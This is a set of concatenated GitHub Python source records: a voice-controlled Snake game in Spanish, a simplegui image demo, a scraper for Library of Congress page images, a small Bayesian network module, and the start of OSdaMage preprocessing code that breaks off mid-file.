max_x-15)\r\n manzana_y = random.randint(min, max_y-15)\r\n craneo_x = random.randint(min, max_x-15)\r\n craneo_y = random.randint(min, max_y-15)\r\n \r\n #ahora verificamos que el craneo no se aparezca demasiado cerca de la serpiente para evitar morir de una vez\r\n while craneo_x >= snake_x-75 and craneo_x <= snake_x+75 or craneo_x >= manzana_x-5 and craneo_x <= manzana_x+20:\r\n craneo_x = random.randint(min, max_x-15)\r\n while craneo_y >= snake_y-75 and craneo_y <= snake_y+75 or craneo_y >= manzana_y-5 and craneo_y <= manzana_y+20:\r\n craneo_y = random.randint(min, max_y-15)\r\n\r\n#VER EN PANTALLA\r\ndef mostrar():\r\n puntos = font.render('Puntaje: %d' % (puntaje), True, BLANCO)\r\n turno = -1\r\n with open('record/turno.txt', 'r') as archivo:\r\n turno = int(archivo.read())\r\n if turno == 1:\r\n el_jugador = 'Andrés'\r\n else:\r\n el_jugador = 'Vanessa'\r\n turno_jugador = font.render('Turno: %s' % (el_jugador), True, BLANCO)\r\n surface.blit(sfondo, (0, 0)) \r\n surface.blit(puntos, (35, 8))\r\n surface.blit(turno_jugador, (330, 8))\r\n \r\n for i in range(1,len(snake_x)):\r\n surface.blit(snake, (snake_x[i], snake_y[i]))\r\n if snake_x[0] >= max_x or snake_x[0] < min or snake_y[0] >= max_y or snake_y[0] < min:\r\n game_over() \r\n surface.blit(snake_testa, (snake_x[0], snake_y[0]))\r\n surface.blit(manzana, (manzana_x, manzana_y))\r\n surface.blit(craneo, (craneo_x, craneo_y))\r\n pygame.display.update()\r\n fpsClock.tick(FPS)\r\n \r\n#VERIFICAR COLISION CON MANZANA O CRANEO\r\ndef colision(snake,objeto):\r\n colision = 0\r\n for i in snake:\r\n for j in objeto:\r\n if i == j:\r\n colision = 1\r\n return colision\r\n\r\ndef terminar_sesion():\r\n time.sleep(6)\r\n pygame.event.clear()\r\n turno = -1\r\n with open('record/turno.txt', 'r') as archivo:\r\n turno = int(archivo.read())\r\n if turno == 1:\r\n with open('record/turno.txt', 'w') as archivo:\r\n archivo.write(str(2))\r\n else:\r\n with open('record/turno.txt', 'w') as archivo:\r\n archivo.write(str(1))\r\n inicializacion()\r\n\r\n\r\n#GRABAR RECORD EN EL ARCHIVO DE TEXTO\r\ndef escribir():\r\n record = open(\"record/record.txt\",\"r\") #Abre el archivo record.txt de solo lectura y lo asigna a la variable de registro\r\n mejor_puntaje = int(record.read()) #Abre el archivo y lee el mejor puntaje\r\n record.close() #cierra el archivo abierto previamente\r\n #comprueba si el puntaje actual es más alto que el registro actual\r\n if puntaje > mejor_puntaje:\r\n record = open(\"record/record.txt\",\"w\") #Abro el archivo record.txt en modo de escritura y lo asigno a la variable de registro\r\n record.write(str(puntaje)) #Convierto la variable \"puntaje\" en una cadena y escribo el contenido en el archivo record.txt\r\n record.close() #cierra el archivo abierto previamente\r\n surface.blit(nuevo_record, (0, 0))\r\n pygame.display.update()\r\n terminar_sesion()\r\n \r\n\r\n#PAUSA\r\ndef pausa():\r\n surface.blit(pausa_img, (0, 0))\r\n pygame.display.update()\r\n \r\n#GAME OVER\r\ndef game_over():\r\n for i in range(0,len(snake_x)):\r\n surface.blit(snake, (snake_x[i], snake_y[i]))\r\n surface.blit(snake_testa, (snake_x[0], snake_y[0]))\r\n escribir()\r\n surface.blit(gameover_img, (0, 0))\r\n pygame.display.update()\r\n terminar_sesion()\r\n\r\ndef extraer_caracteristicas(transformacion):\r\n escalador = (len(transformacion) / 2) / (16000 / 2)\r\n filtros = []\r\n filtros.append(sum(transformacion[int(20 * escalador): int(100 * escalador)]))\r\n filtros.append(sum(transformacion[int(100 * escalador): int(200 * escalador)]))\r\n filtros.append(sum(transformacion[int(200 * escalador): int(300 * escalador)]))\r\n filtros.append(sum(transformacion[int(300 * escalador): int(400 * escalador)]))\r\n filtros.append(sum(transformacion[int(400 * escalador): int(500 * escalador)]))\r\n filtros.append(sum(transformacion[int(500 * escalador): int(600 * escalador)]))\r\n filtros.append(sum(transformacion[int(600 * escalador): int(700 * escalador)]))\r\n filtros.append(sum(transformacion[int(700 * escalador): int(800 * escalador)]))\r\n filtros.append(sum(transformacion[int(800 * escalador): int(900 * escalador)]))\r\n filtros.append(sum(transformacion[int(900 * escalador): int(1000 * escalador)]))\r\n filtros.append(sum(transformacion[int(1000 * escalador): int(1100 * escalador)]))\r\n filtros.append(sum(transformacion[int(1100 * escalador): int(1200 * escalador)]))\r\n filtros.append(sum(transformacion[int(1200 * escalador): int(1300 * escalador)]))\r\n filtros.append(sum(transformacion[int(1300 * escalador): int(1400 * escalador)]))\r\n filtros.append(sum(transformacion[int(1400 * escalador): int(1500 * escalador)]))\r\n filtros.append(sum(transformacion[int(1500 * escalador): int(1600 * escalador)]))\r\n filtros.append(sum(transformacion[int(1600 * escalador): int(1700 * escalador)]))\r\n filtros.append(sum(transformacion[int(1700 * escalador): int(1800 * escalador)]))\r\n filtros.append(sum(transformacion[int(1800 * escalador): int(1900 * escalador)]))\r\n filtros.append(sum(transformacion[int(1900 * escalador): int(2000 * escalador)]))\r\n return filtros\r\n\r\ndef podar(nparray):\r\n min = 0\r\n max = -1\r\n for i in range(0, len(nparray)):\r\n if nparray[i] >= 0.4:\r\n min = i - 5000\r\n break\r\n for i in range(len(nparray) - 1, 0, -1):\r\n if nparray[i] >= 0.4:\r\n max = i + 5000\r\n break\r\n for i in range(0, len(nparray)):\r\n if i < min or i > max:\r\n nparray[i] = 0\r\n return min, max\r\n\r\ndef listen():\r\n clasificador_nombre = None\r\n with open('clasificadores/clasificador_nombres.clf', 'rb') as archivo:\r\n clasificador_nombre = pickle.load(archivo)\r\n stream = pyaudio.PyAudio().open(\r\n format=pyaudio.paInt16,\r\n channels=1,\r\n rate=16000,\r\n input=True,\r\n output=True,\r\n frames_per_buffer=512)\r\n print(\"diga su nombre:\")\r\n frames = []\r\n for i in range(0, int(16000 / 512 * 3)):\r\n data = stream.read(512)\r\n frames.append(data)\r\n for frame in frames:\r\n stream.write(frame, 512)\r\n raw_data = zeros(int(16000 / 512 * 3) * 512)\r\n for frame in frames:\r\n raw_data = append(raw_data, array('h', frame))\r\n raw_data = raw_data / max(abs(raw_data))\r\n v_min, v_max = podar(raw_data)\r\n transformacion = abs(fft.fft(raw_data))\r\n respuesta = clasificador_nombre.predict(\r\n np.array(\r\n extraer_caracteristicas(transformacion)).reshape(1, -1))[0]\r\n if respuesta == 'andres/andres':\r\n with open('record/turno.txt', 'w') as archivo:\r\n archivo.write(str(1))\r\n else:\r\n with open('record/turno.txt', 'w') as archivo:\r\n archivo.write(str(2))\r\n\r\n\r\n\r\ndef anadir(nparray):\r\n tamano = 95232\r\n recibido = len(nparray)\r\n faltante = tamano - recibido\r\n complemento = np.zeros(faltante)\r\n nparray = np.append(nparray, complemento)\r\n return nparray\r\n\r\n\r\ndef listen2(stopped, q, stream):\r\n while True:\r\n if stopped.wait(timeout=0):\r\n break\r\n try:\r\n pedazo = stream.read(512)\r\n q.put(array('h', pedazo))\r\n except Full:\r\n pass # discard\r\n\r\ndef record(stopped, q, a):\r\n grabando = False\r\n contador = 0\r\n segundos = 0.5\r\n segundos_extra = 0.1\r\n raw_data = np.array(0)\r\n clasificador_andres = None\r\n with open('clasificadores/clasificador_andres.clf', 'rb') as archivo:\r\n clasificador_andres = pickle.load(archivo)\r\n\r\n cola = Queue(maxsize=int(16000 / 512 * segundos_extra))\r\n\r\n maximo = int(16000 / 512 * segundos)\r\n\r\n while True:\r\n if stopped.wait(timeout=0):\r\n break\r\n chunk = q.get()\r\n vol = max(chunk)\r\n if vol >= 18000:\r\n if grabando == False:\r\n print(\"\\nComienza a grabar...\")\r\n grabando = True\r\n #print(\"TRESHOLD\")\r\n else:\r\n pass\r\n if grabando:\r\n contador += 1\r\n #print(contador)\r\n #print(chunk)\r\n while not cola.empty():\r\n raw_data = np.append(raw_data, cola.get())\r\n raw_data = np.append(raw_data, chunk)\r\n if contador == maximo:\r\n print(\"Termina de grabar...\")\r\n raw_data = anadir(raw_data)\r\n raw_data = raw_data / max(abs(raw_data))\r\n transformacion = np.abs(np.fft.fft(raw_data))\r\n\r\n escalador = (len(transformacion) / 2) / (16000 / 2)\r\n\r\n filtros = []\r\n filtros.append(np.sum(transformacion[int(20 * escalador): int(100 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(100 * escalador): int(200 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(200 * escalador): int(300 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(300 * escalador): int(400 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(400 * escalador): int(500 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(500 * escalador): int(600 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(600 * escalador): int(700 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(700 * escalador): int(800 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(800 * escalador): int(900 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(900 * escalador): int(1000 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(1000 * escalador): int(1100 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(1100 * escalador): int(1200 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(1200 * escalador): int(1300 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(1300 * escalador): int(1400 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(1400 * escalador): int(1500 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(1500 * escalador): int(1600 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(1600 * escalador): int(1700 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(1700 * escalador): int(1800 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(1800 * escalador): int(1900 * escalador)]))\r\n filtros.append(np.sum(transformacion[int(1900 * escalador): int(2000 * escalador)]))\r\n\r\n print(\"Comienza a clasificar...\")\r\n respuesta = clasificador_andres.predict(np.array(filtros).reshape(1, -1))[0]\r\n print(\"Termina de clasificar...\")\r\n print(respuesta)\r\n if respuesta=='andres/abajo':\r\n pygame.event.post(voice_down)\r\n elif respuesta == 'andres/izquierda':\r\n pygame.event.post(voice_left)\r\n elif respuesta == 'andres/arriba':\r\n pygame.event.post(voice_up)\r\n elif respuesta == 'andres/derecha':\r\n pygame.event.post(voice_right)\r\n\r\n\r\n \"\"\"\r\n plt.title(respuesta)\r\n plt.subplot(3, 1, 1)\r\n plt.plot(np.linspace(start=0, stop=3*2, num=len(raw_data)), raw_data)\r\n plt.xlim(0, segundos + segundos_extra)\r\n plt.xlabel('Segundos')\r\n plt.ylabel('Amplitud')\r\n plt.subplot(3, 1, 2)\r\n plt.plot(np.linspace(start=20,\r\n stop=2000,\r\n num=len(transformacion[int(20 * escalador):int(2000 * escalador)])),\r\n transformacion[int(20 * escalador):int(2000 * escalador)])\r\n plt.xlim(20, 2000)\r\n plt.xticks(np.arange(0, 2100, step=100))\r\n plt.xlabel('Hertz')\r\n plt.ylabel('Potencia')\r\n plt.subplot(3, 1, 3)\r\n plt.bar(range(1, 21), filtros)\r\n plt.xlim(1, 20)\r\n plt.xticks(np.arange(1, 21, step=1))\r\n plt.xlabel('Caracteristicas')\r\n plt.ylabel('Potencia')\r\n plt.show()\r\n \"\"\"\r\n \r\n\r\n raw_data = np.array(0)\r\n contador = 0\r\n grabando = False\r\n else:\r\n cola.put(chunk)\r\n \r\n#@@@@@SETUP@@@@@#\r\n\r\n#Decidir turno dependiendo a a la voz:\r\nlisten()\r\n\r\nstream = pyaudio.PyAudio().open(\r\n format=pyaudio.paInt16,\r\n channels=1,\r\n rate=16000,\r\n input=True,\r\n frames_per_buffer=512,\r\n)\r\nstopped = threading.Event()\r\nq = Queue(maxsize=int(round(10))) #Cola con tamaño máximo de 10 chunks\r\na = None\r\n\r\n\r\n\"\"\"\r\ntry:\r\n while True:\r\n listen_t.join(0.1)\r\n record_t.join(0.1)\r\nexcept KeyboardInterrupt:\r\n stopped.set()\r\n\r\nlisten_t.join()\r\nrecord_t.join()\r\n\"\"\"\r\n\r\n\r\n\r\npygame.init()\r\npygame.mixer.music.load(\"sonidos/music.mp3\")\r\npygame.mixer.music.set_volume(0.1)\r\npygame.mixer.music.play(-1)\r\n\r\n\r\n\r\n\r\n#CONFIGURAR FPS\r\nFPS = 5\r\nfpsClock = pygame.time.Clock()\r\n\r\n\r\n\r\n\r\n#CONFIGURAR FUENTE\r\nfont = pygame.font.Font(None, 24)\r\n\r\n#CONFIGURAR LAS DIMENSIONES DE LA VENTANA\r\nsize_w = 460\r\nsize_h = 339\r\n\r\n#INICIALIZAR COLORES\r\nBLANCO = (255, 255, 255)\r\nGIALLO = (255, 255, 51)\r\nVERDE = (0, 200, 0)\r\nVERDE_SCURO = (0, 100 , 0)\r\nCELESTE = (0, 255, 255)\r\n\r\n#CONFIGURAR LA DIMENSIÓN Y EL NOMBRE DE LA VENTANA\r\nsurface = pygame.display.set_mode((size_w, size_h))\r\npygame.display.set_caption('Culebrita')\r\n\r\n#CARGAR IMAGENES\r\nsfondo = pygame.image.load(\"imagenes/sfondo.png\")\r\ngameover_img = pygame.image.load(\"imagenes/gameover.png\")\r\nnuevo_record = pygame.image.load(\"imagenes/nuevo_record_italiano.png\")\r\nmanzana = pygame.image.load(\"imagenes/manzana.png\")\r\ncraneo = pygame.image.load(\"imagenes/craneo.png\")\r\npausa_img = pygame.image.load(\"imagenes/pausa.png\")\r\n\r\n#CREAR SERPIENTE\r\nsnake = pygame.Surface((14, 14))\r\nsnake_testa = pygame.Surface((14, 14))\r\nsnake.fill(VERDE_SCURO)\r\nsnake_testa.fill(VERDE)\r\n\r\n#INICIO PROGRAMMA\r\ninicializacion()\r\n\r\nVOICE_DOWN = USEREVENT + 1\r\nvoice_down = pygame.event.Event(VOICE_DOWN, message='Down')\r\nVOICE_UP = USEREVENT + 2\r\nvoice_up = pygame.event.Event(VOICE_UP, message='Down')\r\nVOICE_LEFT = USEREVENT + 3\r\nvoice_left = pygame.event.Event(VOICE_LEFT, message='Down')\r\nVOICE_RIGHT = USEREVENT + 4\r\nvoice_right = pygame.event.Event(VOICE_RIGHT, message='Down')\r\n\r\n\r\nlisten_t = threading.Thread(target=listen2, args=(stopped, q, stream))\r\nlisten_t.start()\r\nrecord_t = threading.Thread(target=record, args=(stopped, q, a))\r\nrecord_t.start()\r\n\r\n\r\n\r\nwhile True:\r\n dificultad = 0.20 - 0.01 * puntaje\r\n if dificultad < 0:\r\n\t dificultad = 0\r\n #time.sleep(dificultad)\r\n\r\n mostrar()\r\n #Añadir acá los eventos de voces\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n game_over()\r\n elif event.type == KEYDOWN:\r\n if ((event.key == K_RIGHT or event.key == K_d) and direccion != 'izquierda'):\r\n direccion = 'derecha'\r\n elif ((event.key == K_LEFT or event.key == K_a) and direccion != 'derecha'):\r\n direccion = 'izquierda'\r\n elif ((event.key == K_DOWN or event.key == K_s) and direccion != 'arriba'):\r\n direccion = 'abajo'\r\n elif ((event.key == K_UP or event.key == K_w) and direccion != 'abajo'):\r\n direccion = 'arriba'\r\n elif event.key == K_p:\r\n direccion = '0'\r\n elif event.key == K_ESCAPE:\r\n game_over()\r\n elif event.type == VOICE_DOWN and direccion != 'arriba':\r\n direccion = 'abajo'\r\n elif event.type == VOICE_UP and direccion != 'abajo':\r\n direccion = 'arriba'\r\n elif event.type == VOICE_LEFT and direccion != 'derecha':\r\n direccion = 'izquierda'\r\n elif event.type == VOICE_RIGHT and direccion != 'izquierda':\r\n direccion = 'derecha'\r\n \r\n if direccion == '0':\r\n pausa() \r\n \r\n else:\r\n #ALGORITMO PARA EL MOVIMIENTO DE LA SERPIENTE\r\n i = len(snake_x)-1\r\n while i>0:\r\n snake_x[i] = snake_x[i-1] #el bloque del cuerpo toma las coordenadas del bloque anterior\r\n snake_y[i] = snake_y[i-1]\r\n i -= 1 #disminuir el índice para controlar otro bloque\r\n i=len(snake_x)-1\r\n #VERIFICAR SI LA SERPIENTE SE MUERDE \r\n while i>2:\r\n if snake_x[0] == snake_x[i] and snake_y[0] == snake_y[i]:\r\n game_over()\r\n i -= 1\r\n \r\n #MOVER LA SERPIENTE\r\n else:\r\n if direccion == 'derecha':\r\n snake_x[0] += 15\r\n elif direccion == 'izquierda':\r\n snake_x[0] -= 15\r\n elif direccion == 'abajo':\r\n snake_y[0] += 15\r\n elif direccion == 'arriba':\r\n snake_y[0] -= 15\r\n \r\n #RANGO PARA COLISIONES CON OBJETOS\r\n x = range(snake_x[0],snake_x[0]+14)\r\n y = range(snake_y[0],snake_y[0]+14)\r\n x2 = range(manzana_x,manzana_x+18)\r\n y2 = range(manzana_y,manzana_y+18)\r\n x3 = range(craneo_x+1,craneo_x+14)\r\n y3 = range(craneo_y+1,craneo_y+14)\r\n x_ok = colision(x,x2)\r\n y_ok = colision(y,y2)\r\n muerte_x = colision (x,x3)\r\n muerte_y = colision (y,y3)\r\n \r\n if muerte_x == 1 and muerte_y == 1:\r\n game_over()\r\n \r\n if x_ok == 1 and y_ok == 1:\r\n puntaje +=1\r\n generar_objeto(snake_x[0],snake_y[0])\r\n #AGREGAR PIEZA AL CÓDIGO DE LA SERPIENTE\r\n snake_x.append(snake_x[i]) #Agrego el nuevo bloque en la parte inferior de la serpiente\r\n snake_y.append(snake_y[i]) \r\n","repo_name":"andres-linares/voz_frecuencias","sub_path":"notebooks/codigo/Snake Game/snakesp.py","file_name":"snakesp.py","file_ext":"py","file_size_in_byte":17430,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70835053955","text":"# Images\n# Backgrounds\n\n\n# This program draws two versions of the same image, one of\n#\twhich has a transparent background.\n\ntry:\n import simplegui\nexcept ImportError:\n import simpleguitk as simplegui\n\n\n# Global Variables\n\ncanvas_width = 200\ncanvas_height = 200\nimage_center = (25, 25)\nimage_size = (50, 50)\npos1 = [60, 100]\npos2 = [140, 100]\n# This line is necessary to import images for your program.\nwhite_image = simplegui.load_image(\"http://commondatastorage.googleapis.com/codeskulptor-assets/week5-triangle.png\")\nclear_image = simplegui.load_image(\"https://i.imgur.com/LzsJYH2.png\")\nimage2_size = (clear_image.get_width(), clear_image.get_height())\n\n\n# Event Handlers\n\ndef draw(canvas):\n canvas.draw_image(white_image, image_center, image_size, pos1, image_size)\n canvas.draw_image(clear_image, (100,90), (100,100), pos2, image_size)\n\n\n# Frame\n\nframe = simplegui.create_frame(\"Backgrounds\", canvas_width, canvas_height)\n\n# Register Event Handlers\n\nframe.set_draw_handler(draw)\nframe.set_canvas_background(\"Maroon\")\n\n# Start\nframe.start()","repo_name":"GroupCloudberry/CS-1830-Development","sub_path":"src/res/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38119216866","text":"# coding: utf-8\n\n# In[11]:\n\n\n#FOR EXTERNAL USE: CHANGE THE \"destination_path\"\n\n\n# In[12]:\n\n\n## Scraping images for all the volumes\n\n\n# In[13]:\n\n\nimport os\nimport requests\nimport urllib\nfrom PIL import Image\n\n#Local path where you want the images to be saved. The image will be saved based in the volume, and they will be saved as\n# \"page_0, page_1, ...\"\ndestination_path = \"/home/fla/Desktop/Research_Assistantship/Congress_Documents_Scraping/1789to1824_DebatesAndProceedings/Volume_\"\n\n\n#Name of the image saved in the webste. Lookup with \"Inspection element\"\nname_of_the_image = \"img src=\\\"/ll/llac\" \n\n#The lenghts of each volume need to be manually set\"\n#FILLED manually, unfortunately the lengths change.\nlengths = [638, 570, 723, 764, 754, 725, 603, 600, 778, 785,\n 686, 801, 656, 847, 644, 645, 715, 718, 921, 635,\n 654, 675, 588, 591, 676, 715, 709, 981, 956, 669,\n 652, 646, 605, 669, 637, 675, 911, 620, 698, 705,\n 844, 792]\n\n\nappendix_start = [ -1, 378, 480, 640, -1, 427, -1, -1, 322, 539,\n 347, -1, -1, 611, -1, 340, -1, 424, -1, -1, \n 389, 571, -1, 266, 582, -1, 312, 638, 731, 532, \n -1, 237, -1, 116, -1, 488, 653, -1, 326, 587, \n -1, 612 ]\n\n\nnum_volumes = len(lengths)\n\n#Used to fill the dictionary automatically\nfirst_part_url=\"https://memory.loc.gov/cgi-bin/ampage?collId=llac&fileName=\"\nsecond_part_url=\"/llac\"\nthird_part_url=\".db&recNum=\"\n\n\n#The following for loop creates the incremental names for the links to scrape, in this case we were\n# lucky because the names have incremental numbers in a link's part.\n\nvol = {}\nfor i in range(1, num_volumes+1, 1):\n vol[i] = []\n if (i<10):\n vol.get(i).append(first_part_url+\"00\"+str(i)+second_part_url+\"00\"+str(i)+third_part_url)\n elif(i<100):\n vol.get(i).append(first_part_url+\"0\"+str(i)+second_part_url+\"0\"+str(i)+third_part_url)\n else:\n vol.get(i).append(first_part_url+str(i)+second_part_url+str(i)+third_part_url)\n \n vol.get(i).append(name_of_the_image)\n vol.get(i).append(lengths[i-1])\n vol.get(i).append(appendix_start[i-1])\n\n\n\n\n# In[14]:\n\n\ndef scrap_volume(url, pattern, start, end, destination_path ):\n for count in range(start,end+1, 1):\n new_url = url+str(count)\n f = requests.get(new_url)\n name = extract_name(f.text, (f.text).find(pattern) )\n complete_path = \"https://memory.loc.gov\"+str(name) # Found out by inspecting the web page.\n urllib.request.urlretrieve(complete_path, destination_path+\"/page_\"+str(count))\n for count in range(start,end+1, 1):\n im = Image.open(destination_path+\"/page_\"+str(count))\n im.save( destination_path+\"/page_\"+str(count),'PNG')\n \ndef extract_name(raw_line, start_index):\n end = start_index\n while (raw_line[end:end+3]!=\"gif\"):\n end += 1\n end +=3\n return raw_line[start_index+9:end]\n\n\n# In[15]:\n\n\nfor volumes in range(1,num_volumes+1,1):\n#for volumes in range(1,3,1):\n if(vol.get(volumes)[3]!=-1):\n if not os.path.exists(destination_path+str(volumes)):\n os.makedirs(destination_path+str(volumes))\n# scrap_volume(url, pattern, start, end, destination_path ):\n scrap_volume(vol.get(volumes)[0], \n vol.get(volumes)[1], \n 0,\n vol.get(volumes)[3], #Start of the appendix\n destination_path+str(volumes))\n path=destination_path+str(volumes)+'/Appendix'\n if not os.path.exists(path):\n os.makedirs(path)\n# scrap_volume(url, pattern, start, end, destination_path ):\n scrap_volume(vol.get(volumes)[0], \n vol.get(volumes)[1], \n vol.get(volumes)[3],\n vol.get(volumes)[2], \n path)\n \n \n else:\n #There is no appendix.\n if not os.path.exists(destination_path+str(volumes)):\n os.makedirs(destination_path+str(volumes))\n scrap_volume(vol.get(volumes)[0], \n vol.get(volumes)[1], \n 0,\n vol.get(volumes)[2], \n destination_path+str(volumes))\n\n","repo_name":"FlaCvx/congress_document_study","sub_path":"data/1789to1824_DebatesAndProceedings/1789to1824_DebatesAndProceedings.py","file_name":"1789to1824_DebatesAndProceedings.py","file_ext":"py","file_size_in_byte":4313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19892513863","text":"import collections\nimport os\nfrom operator import methodcaller\nfrom operator import attrgetter\nfrom functools import reduce\nfrom itertools import product\n\n__all__ = [\n \"ConditionalProbabilitySet\",\n \"ConditionalProbability\",\n \"Network\",\n \"Node\",\n \"ValueDistribution\",\n \"EventSet\",\n]\n\n\nclass Network(object):\n \n def __init__(self):\n self.nodes = dict()\n\n def __repr__(self):\n return \"; \".join(map(repr, self.nodes.values()))\n\n def verbose(self):\n return \"\\n\".join(map(methodcaller(\"verbose\"), self.nodes.values()))\n\n def query(self, query_node, **evidences):\n pass\n\n\nclass Node(object):\n\n def __init__(self, name):\n \"\"\"Creates a new Node instance\n Contains a string name (just it cannot be \"%\").\n \n - ``parents`` is a set of Node objects.\n \n - ``values`` is a set of str objects.\n \n - ``probabilities`` is a ``set`` of ConditionalProbability objects\n where all combinations of parents' values are described.\n \"\"\"\n self.name = name\n self.parents = dict()\n self.values = set()\n self.distribution = ValueDistribution(self)\n\n def __str__(self):\n return self.name\n\n def __repr__(self):\n return \"%s (%s)\" % (self.name,\n \" & \".join(map(attrgetter(\"name\"), self.parents.values())))\n\n def verbose(self):\n return \"%s\\n%s\" % (repr(self), self.distribution.verbose())\n\n\nclass ValueDistribution(dict):\n \"\"\"\n A dictionary where keys are the possible values of a variable node,\n values are a set of conditional probabilities\n (``ConditionalProbabilitySet`` object).\n\n Key is a str.\n\n Value is ConditionalProbabilitySet.\n \"\"\"\n\n def __init__(self, node):\n if not isinstance(node, Node):\n raise TypeError(\"Expected Node, have %s\" % type(node))\n self.node = node\n super().__init__()\n \n def __setitem__(self, key, value):\n if not isinstance(key, str):\n raise TypeError(\"Key is not of type str, have %s\" % (key, type(key)))\n if not isinstance(value, ConditionalProbabilitySet):\n raise TypeError(\"Value is not of type ConditionalProbabilitySet,\"\n \"have %s\" % (value, type(value)))\n if not key in self.node.values:\n raise Exception(\"Key \\\"%s\\\" not in node \\\"%s\\\"\" % (key, self.node.name))\n super().__setitem__(key, value)\n\n def verbose(self):\n s = \"\"\n for v, cps in self.items():\n s += \" %s\\n%s\\n\" % (v, cps.verbose())\n return s\n\n\nclass ConditionalProbabilitySet(set):\n \"\"\"\n A collection or conditional probabilities\n \"\"\"\n\n def __init__(self, node, node_value):\n self.node = node\n self.node_value = node_value\n super().__init__()\n\n \n def add(self, item):\n super().add(item)\n\n def __repr__(self):\n return \"[%s]\" % \",\".join(map(repr, self))\n\n def verbose(self):\n s = \"\"\n for cp in self:\n s += \"%s\\n\" % cp.verbose()\n return s\n\n def check_sanity(self):\n expected_parentvalues = []\n for p in self.node.parents.values():\n values = []\n for v in p.values:\n values.append({p.name: v})\n expected_parentvalues.append(values)\n _eventset = [p for p in product(*expected_parentvalues)]\n def combinemap(x, y):\n x.update(y)\n return x\n _eventset = [reduce(combinemap, c, dict()) for c in _eventset]\n for event in map(attrgetter(\"events\"), self):\n event = event.dict()\n assert event in _eventset, (\"%s not found in the \"\n \"expected conditional distributions for %s=%s: %s\" % (\n event, self.node.name, self.node_value, _eventset\n ))\n _eventset.remove(event)\n assert _eventset == [], \"pending events found: %s\" % _eventset\n\n\nclass ConditionalProbability(object):\n \"\"\"\n node_value is the value of the node for which these events have the said probability.\n\n Key is a EventSet.\n\n Value is a number between 0 and 1.\n \"\"\"\n\n def __init__(self, node, node_value, events, probability):\n self.node = node\n self.node_value = node_value\n self.events = events\n self.probability = probability\n\n def _setitem__(self, key, value):\n if not isinstance(key, EventSet):\n raise TypeError(\"Key expected EventSet\")\n if not isinstance(value, (int, float)):\n raise TypeError(\"Value expected number\")\n elif value < 0 or value > 1:\n raise Exception(\"%d is not between 0 and 1\" % value)\n super().__setitem__(key, value)\n\n def verbose(self):\n return \"P(%s=%s | %s) = %.2f\" % (\n self.node.name,\n self.node_value,\n self.events.verbose(),\n self.probability)\n\n def __repr__(self):\n return repr(self.events)\n\n\nclass EventSet(dict):\n \"\"\"\n \"\"\"\n\n def __init__(self, node):\n self.node = node\n\n def __setitem__(self, key, value):\n \"\"\"\n Key is a string but becomes automatically resolved \n \"\"\"\n _key = key\n if not isinstance(key, Node):\n if isinstance(key, str):\n _key = self.node.parents[key]\n else:\n raise TypeError(\"Key should be Node or str, have %s\" % type(key))\n elif key not in self.node.parents:\n raise Exception(\"%s not in parents of %s\" % (str(key), self.node))\n if not isinstance(value, str):\n raise TypeError(\"Value should be str, have %s\" % type(value))\n super().__setitem__(_key, value)\n\n def verbose(self):\n s = \"{\"\n s += \" & \".join([(\"%s=%s\" % (k, v)) for k, v in self.items()])\n s += \"}\"\n return s\n\n def __repr__(self):\n return self.verbose()\n\n def dict(self):\n return {k.name: v for k, v in self.items()}\n","repo_name":"jleeothon/berrynet","sub_path":"berrynet/berrynet.py","file_name":"berrynet.py","file_ext":"py","file_size_in_byte":5992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24096857505","text":"\"\"\"\nPreprocessing functions of OSdaMage 1.0.\n\nContains the preprocessing functions required for running the OSdaMage model. The functions are called from a Jupyter Notebook 'Preproc_split_OSM.ipynb'\n\nThis code is maintained on a GitHub repository: github.com/keesvanginkel/OSdaMage\n\n@author: Elco Koks and Kees van ginkel\n\"\"\"\n\nimport geopandas as gpd\nimport logging\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os \nimport pandas as pd\nfrom shapely.geometry import MultiPolygon\nfrom geopy.distance import vincenty\n\nlogging.basicConfig(filename='OSM_extracts.log',level=logging.INFO)\n\ndef poly_files_europe(out_path, NUTS_shape,filter_out):\n \n \"\"\"\n This function will create the .poly files from the Europe shapefile.\n .poly files are used to extract data from the openstreetmap files.\n \n This function is adapted from the OSMPoly function in QGIS, and Elco Koks GMTRA model.\n \n Arguments:\n *out_path* (string): path to the directory where the .poly files should be written\n *NUTS_shape* (string) : path to the NUTS-3 shapefile (CRS=EPSG:3035)\n *filter_out* (list of strings): names of NUTS-3 regions not to include in the analysis\n \n Returns:\n .poly file for each country in a new dir in the working directory (CRS=WGS:84).\n \"\"\" \n \n NUTS_poly = gpd.read_file(NUTS_shape)\n \n #Remove regions that are to be filtered out\n NUTS_poly = NUTS_poly[~NUTS_poly['NUTS_ID'].isin(filter_out)]\n NUTS_poly = NUTS_poly.to_crs(epsg=4326) #Change into the WGS84 = EPSG4326 coordinate system of OSM.\n\n num = 0\n # iterate over the counties (rows) in the Europe shapefile\n for f in NUTS_poly.iterrows():\n f = f[1]\n num = num + 1\n geom=f.geometry\n\n try:\n # this will create a list of the different subpolygons\n if geom.geom_type == 'MultiPolygon':\n polygons = geom\n\n # the list will be length 1 if it is just one polygon\n elif geom.geom_type == 'Polygon':\n polygons = [geom]\n\n # define the name of 